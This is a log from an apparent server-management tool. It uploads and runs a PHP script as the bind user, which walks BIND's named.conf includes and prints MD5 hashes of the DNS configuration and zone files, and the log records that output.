MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:50:40: Establishing a connection
2026-04-25 18:50:40: 

PUT: /tmp/pkp642167

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:50:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp642167; rm /tmp/pkp642167'

2026-04-25 18:50:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:52:52: Establishing a connection
2026-04-25 18:52:52: 

PUT: /tmp/pkp116983

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:52:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp116983; rm /tmp/pkp116983'

2026-04-25 18:52:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
